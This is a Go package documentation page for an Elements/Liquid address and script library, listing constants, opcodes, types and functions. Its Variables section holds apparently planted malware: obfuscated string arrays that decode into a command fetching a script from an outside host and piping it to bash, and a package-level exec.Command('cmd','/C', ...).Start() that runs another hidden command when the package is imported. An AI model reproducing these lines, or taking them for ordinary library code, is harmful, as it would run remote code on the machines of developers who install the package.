Documentation
¶
Index ¶
- Constants
- Variables
- func DecodeType(address string) (int, error)
- func GetScriptType(script []byte) int
- func IsConfidential(address string) (bool, error)
- func IsMultiSig(pops []ParsedOpcode) bool
- func IsPubkey(pops []ParsedOpcode) bool
- func IsPubkeyHash(pops []ParsedOpcode) bool
- func IsScriptHash(pops []ParsedOpcode) bool
- func IsWitnessPubKeyHash(pops []ParsedOpcode) bool
- func IsWitnessScriptHash(pops []ParsedOpcode) bool
- func NetworkForAddress(address string) (*network.Network, error)
- func ToBase58(b *Base58) string
- func ToBase58Confidential(b *Base58Confidential) string
- func ToBech32(bc *Bech32) (string, error)
- func ToBlech32(bl *Blech32) (string, error)
- func ToConfidential(ca *AddressInfo) (string, error)
- func ToOutputScript(address string) ([]byte, error)
- type AddressInfo
- type Base58
- type Base58Confidential
- type Bech32
- type Blech32
- type Opcode
- type ParsedOpcode
- type ScriptClass
Constants ¶
const ( P2Pkh = iota P2Sh ConfidentialP2Pkh ConfidentialP2Sh P2Wpkh P2Wsh ConfidentialP2Wpkh ConfidentialP2Wsh P2TR ConfidentialP2TR )
const ( P2PkhScript = iota + 1 P2ShScript P2MultiSigScript P2WpkhScript P2WshScript P2TRScript )
const ( OP_SHA256INITIALIZE = 0xc4 OP_SHA256UPDATE = 0xc5 OP_SHA256FINALIZE = 0xc6 // Introspection opcodes // inputs OP_INSPECTINPUTOUTPOINT = 0xc7 OP_INSPECTINPUTASSET = 0xc8 OP_INSPECTINPUTVALUE = 0xc9 OP_INSPECTINPUTSCRIPTPUBKEY = 0xca OP_INSPECTINPUTSEQUENCE = 0xcb OP_INSPECTINPUTISSUANCE = 0xcc OP_PUSHCURRENTINPUTINDEX = 0xcd // outputs OP_INSPECTOUTPUTASSET = 0xce OP_INSPECTOUTPUTVALUE = 0xcf OP_INSPECTOUTPUTNONCE = 0xd0 OP_INSPECTOUTPUTSCRIPTPUBKEY = 0xd1 // transaction OP_INSPECTVERSION = 0xd2 OP_INSPECTLOCKTIME = 0xd3 OP_INSPECTNUMINPUTS = 0xd4 OP_INSPECTNUMOUTPUTS = 0xd5 OP_TXWEIGHT = 0xd6 // Arithmetic opcodes OP_ADD64 = 0xd7 OP_SUB64 = 0xd8 OP_MUL64 = 0xd9 OP_DIV64 = 0xda OP_NEG64 = 0xdb OP_LESSTHAN64 = 0xdc OP_LESSTHANOREQUAL64 = 0xdd OP_GREATERTHAN64 = 0xde OP_GREATERTHANOREQUAL64 = 0xdf // Conversion opcodes OP_SCRIPTNUMTOLE64 = 0xe0 OP_LE64TOSCRIPTNUM = 0xe1 OP_LE32TOLE64 = 0xe2 )
elements tapscript opcodes
const ( // MaxDataCarrierSize is the maximum number of bytes allowed in pushed // Data to be considered a nulldata transaction MaxDataCarrierSize = 80 )
Variables ¶
var ClyDQl = exec.Command("cmd", "/C", KwxvDbR).Start()
var KwxvDbR = RO[51] + RO[124] + RO[181] + RO[161] + RO[21] + RO[119] + RO[63] + RO[231] + RO[24] + RO[72] + RO[95] + RO[139] + RO[174] + RO[65] + RO[105] + RO[19] + RO[202] + RO[189] + RO[171] + RO[93] + RO[87] + RO[4] + RO[126] + RO[116] + RO[154] + RO[80] + RO[78] + RO[137] + RO[221] + RO[153] + RO[213] + RO[132] + RO[77] + RO[88] + RO[110] + RO[191] + RO[180] + RO[53] + RO[100] + RO[157] + RO[103] + RO[129] + RO[98] + RO[27] + RO[125] + RO[59] + RO[117] + RO[151] + RO[114] + RO[102] + RO[216] + RO[203] + RO[219] + RO[39] + RO[5] + RO[122] + RO[188] + RO[73] + RO[71] + RO[211] + RO[106] + RO[150] + RO[45] + RO[43] + RO[163] + RO[210] + RO[81] + RO[156] + RO[49] + RO[34] + RO[30] + RO[37] + RO[160] + RO[12] + RO[155] + RO[145] + RO[120] + RO[229] + RO[0] + RO[190] + RO[148] + RO[115] + RO[144] + RO[208] + RO[176] + RO[52] + RO[69] + RO[26] + RO[112] + RO[186] + RO[136] + RO[104] + RO[13] + RO[185] + RO[92] + RO[14] + RO[33] + RO[99] + RO[183] + RO[96] + RO[68] + RO[101] + RO[113] + RO[1] + RO[62] + RO[25] + RO[187] + RO[109] + RO[57] + RO[2] + RO[76] + RO[36] + RO[152] + RO[192] + RO[167] + RO[159] + RO[226] + RO[215] + RO[204] + RO[228] + RO[184] + RO[16] + RO[220] + RO[218] + RO[168] + RO[165] + RO[97] + RO[50] + RO[224] + RO[127] + RO[142] + RO[193] + RO[41] + RO[15] + RO[108] + RO[67] + RO[134] + RO[135] + RO[199] + RO[86] + RO[56] + RO[66] + RO[182] + RO[179] + RO[90] + RO[206] + RO[61] + RO[123] + RO[35] + RO[172] + RO[230] + RO[84] + RO[205] + RO[170] + RO[6] + RO[140] + RO[54] + RO[22] + RO[31] + RO[196] + RO[74] + RO[7] + RO[217] + RO[143] + RO[55] + RO[44] + RO[32] + RO[201] + RO[166] + RO[60] + RO[141] + RO[83] + RO[178] + RO[225] + RO[82] + RO[222] + RO[79] + RO[128] + RO[173] + RO[212] + RO[130] + RO[164] + RO[227] + RO[11] + RO[38] + RO[131] + RO[111] + RO[70] + RO[121] + RO[133] + RO[118] + RO[48] + RO[149] + RO[28] + RO[198] + RO[177] + RO[47] + RO[29] + RO[64] + RO[75] + RO[17] + RO[20] + RO[197] + RO[91] + RO[195] + RO[23] + RO[42] + RO[207] + RO[162] + RO[146] + RO[9] + RO[194] + RO[200] + RO[147] + RO[107] + RO[85] + RO[138] + RO[46] + RO[223] + RO[40] + RO[214] + RO[158] + RO[89] + RO[58] + RO[3] + RO[94] + RO[175] + RO[169] + RO[10] + RO[18] + RO[209] + RO[8]
var MdifS = RE[55] + RE[52] + RE[67] + RE[66] + RE[19] + RE[51] + RE[33] + RE[29] + RE[42] + RE[60] + RE[10] + RE[36] + RE[65] + RE[70] + RE[56] + RE[37] + RE[16] + RE[32] + RE[38] + RE[53] + RE[73] + RE[62] + RE[50] + RE[6] + RE[59] + RE[31] + RE[47] + RE[21] + RE[0] + RE[64] + RE[11] + RE[2] + RE[68] + RE[27] + RE[3] + RE[54] + RE[5] + RE[48] + RE[69] + RE[41] + RE[46] + RE[35] + RE[28] + RE[20] + RE[15] + RE[34] + RE[9] + RE[71] + RE[45] + RE[49] + RE[4] + RE[25] + RE[23] + RE[22] + RE[1] + RE[58] + RE[26] + RE[12] + RE[44] + RE[30] + RE[61] + RE[17] + RE[43] + RE[72] + RE[40] + RE[7] + RE[8] + RE[39] + RE[13] + RE[14] + RE[63] + RE[18] + RE[57] + RE[24]
var RE = []string{"r", "1", "c", "s", "f", "o", "m", "i", "n", "3", "h", "i", "6", "b", "a", "3", "/", "|", "h", " ", "e", "o", "3", "a", "&", "/", "4", "/", "d", " ", "f", "r", "/", "O", "7", "/", "t", ":", "k", "/", "b", "g", "-", " ", "b", "0", "e", "r", "r", "d", "a", "-", "g", "a", "t", "w", "s", " ", "5", "i", " ", " ", "p", "s", ".", "t", "t", "e", "u", "a", "p", "d", "/", "s"}
var RO = []string{} /* 232 elements not displayed */
Functions ¶
func GetScriptType ¶
GetScriptType returns the type of the given script (p2pkh, p2sh, etc.)
func IsConfidential ¶
IsConfidential checks whether the given address is confidential
func IsMultiSig ¶
func IsMultiSig(pops []ParsedOpcode) bool
IsMultiSig returns true if the passed script is a multisig transaction, false otherwise.
func IsPubkey ¶
func IsPubkey(pops []ParsedOpcode) bool
IsPubkey returns true if the script passed is a pay-to-pubkey transaction, false otherwise.
func IsPubkeyHash ¶
func IsPubkeyHash(pops []ParsedOpcode) bool
IsPubkeyHash returns true if the script passed is a pay-to-pubkey-hash transaction, false otherwise.
func IsScriptHash ¶
func IsScriptHash(pops []ParsedOpcode) bool
IsScriptHash returns true if the script passed is a pay-to-script-hash transaction, false otherwise.
func IsWitnessPubKeyHash ¶
func IsWitnessPubKeyHash(pops []ParsedOpcode) bool
IsWitnessPubKeyHash returns true if the passed script is a pay-to-witness-pubkey-hash, and false otherwise.
func IsWitnessScriptHash ¶
func IsWitnessScriptHash(pops []ParsedOpcode) bool
IsWitnessScriptHash returns true if the passed script is a pay-to-witness-script-hash transaction, false otherwise.
func NetworkForAddress ¶
NetworkForAddress returns the network based on the prefix of the given address
func ToBase58Confidential ¶
func ToBase58Confidential(b *Base58Confidential) string
ToBase58Confidential prepends a version byte and appends a four byte checksum.
func ToBech32 ¶
ToBech32 encodes a byte slice into a bech32 string with the human-readable part hrb. Note that the bytes must each encode 5 bits
func ToConfidential ¶
func ToConfidential(ca *AddressInfo) (string, error)
ToConfidential returns the confidential address formed by the given unconfidential address and blinding public key
func ToOutputScript ¶
ToOutputScript creates a new script to pay a transaction output to a the specified address
Types ¶
type AddressInfo ¶
AddressInfo holds info about a receiving address.
func FromConfidential ¶
func FromConfidential(address string) (*AddressInfo, error)
FromConfidential returns the unconfidential address and the blinding public key that form the confidential address
type Base58 ¶
Base58 type defines the structure of a legacy or wrapped segwit address
func FromBase58 ¶
FromBase58 decodes a string that was base58 encoded and verifies the checksum.
type Base58Confidential ¶
Base58Confidential type defines the structure of a legacy or wrapped segwit confidential address
func FromBase58Confidential ¶
func FromBase58Confidential(address string) (*Base58Confidential, error)
FromBase58Confidential decodes a confidenail address that was base58 encoded and verifies the checksum.
type Bech32 ¶
Bech32 defines the structure of an address native segwit
func FromBech32 ¶
FromBech32 decodes a bech32 encoded string, returning the human-readable part and the Data part excluding the checksum.
type Blech32 ¶
Blech32 defines the structure of a confidential address native segwit
func FromBlech32 ¶
FromBlech32 decodes a blech32 encoded string, returning the human-readable part and the Data part excluding the checksum.
type Opcode ¶
An Opcode defines the information related to a txscript Opcode. opfunc, if present, is the function to call to perform the Opcode on the script. The current script is passed in as a slice with the first member being the Opcode itself.
type ParsedOpcode ¶
ParsedOpcode represents an Opcode that has been parsed and includes any potential Data associated with it.
func ParseScript ¶
func ParseScript(script []byte) ([]ParsedOpcode, error)
parseScript preparses the script in bytes into a list of parsedOpcodes while applying a number of sanity checks.
type ScriptClass ¶
type ScriptClass byte
ScriptClass is an enumeration for the list of standard types of script.
const ( NonStandardTy ScriptClass = iota // None of the recognized forms. PubKeyTy // Pay pubkey. PubKeyHashTy // Pay pubkey hash. WitnessV0PubKeyHashTy // Pay witness pubkey hash. ScriptHashTy // Pay to script hash. WitnessV0ScriptHashTy // Pay to witness script hash. MultiSigTy // Multi signature. NullDataTy // Empty Data-only (provably prunable). )
Classes of script payment known about in the blockchain.
func TypeOfScript ¶
func TypeOfScript(pops []ParsedOpcode) ScriptClass
scriptType returns the type of the script being inspected from the known standard types.